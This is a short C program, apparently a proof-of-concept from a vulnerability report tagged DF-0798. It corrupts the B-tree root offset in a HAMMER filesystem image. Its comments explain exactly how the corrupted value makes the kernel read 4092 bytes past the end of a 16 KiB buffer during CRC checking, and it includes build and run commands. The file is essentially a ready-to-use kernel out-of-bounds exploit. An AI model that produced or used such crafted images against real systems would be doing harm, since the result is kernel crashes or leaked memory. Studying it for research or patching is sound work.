DF-0798 / patch_btree_root.c
/* * patch_btree_root.c - DF-0798 helper. * * Reads the current vol0_btree_root from a HAMMER filesystem image * (8-byte little-endian value at byte offset 240 in the on-disk volume * header), ORs its low 14 bits with 0x3FFC, and writes it back. * * The patched offset still references the SAME 16 KiB buffer as the * legitimate root (high bits unchanged), but the node pointer computed * in hammer_load_node() at sys/vfs/hammer/hammer_ondisk.c:1306 will be * * node->ondisk = buffer->ondisk + 0x3FFC * * which is 4 bytes before the END of the 16384-byte buffer. The * subsequent hammer_crc_test_btree() then reads HAMMER_BTREE_CRCSIZE * (4092) bytes starting at &node->ondisk->crc + 1 == buffer->ondisk + * 0x4000 -- i.e. the read spans [0x4000, 0x4FFC) of the buffer's * kernel virtual address, which is entirely OUT OF BOUNDS. * * Compile: cc -o patch_btree_root patch_btree_root.c * Run: ./patch_btree_root <image> */ #include <stdio.h> #include <stdint.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #define VOL0_BTREE_ROOT_OFF 240 /* see hammer_disk.h:776 */ #define LOW14_MASK 0x3FFCULL /* 4-byte aligned, > 12288 */ int main(int argc, char **argv) { unsigned char buf[8]; uint64_t v, nv; int fd; if (argc != 2) { fprintf(stderr, "usage: %s <hammer-image>\n", argv[0]); return (2); } fd = open(argv[1], O_RDWR); if (fd < 0) { perror("open"); return (1); } if (lseek(fd, VOL0_BTREE_ROOT_OFF, SEEK_SET) < 0) { perror("lseek"); return (1); } if (read(fd, buf, 8) != 8) { perror("read"); return (1); } memcpy(&v, buf, sizeof(v)); nv = v | LOW14_MASK; fprintf(stderr, "vol0_btree_root: 0x%016llx -> 0x%016llx\n", (unsigned long long)v, (unsigned long long)nv); memcpy(buf, &nv, sizeof(buf)); if (lseek(fd, VOL0_BTREE_ROOT_OFF, SEEK_SET) < 0) { perror("lseek"); return (1); } if (write(fd, buf, 8) != 8) { perror("write"); return (1); } close(fd); return (0); } |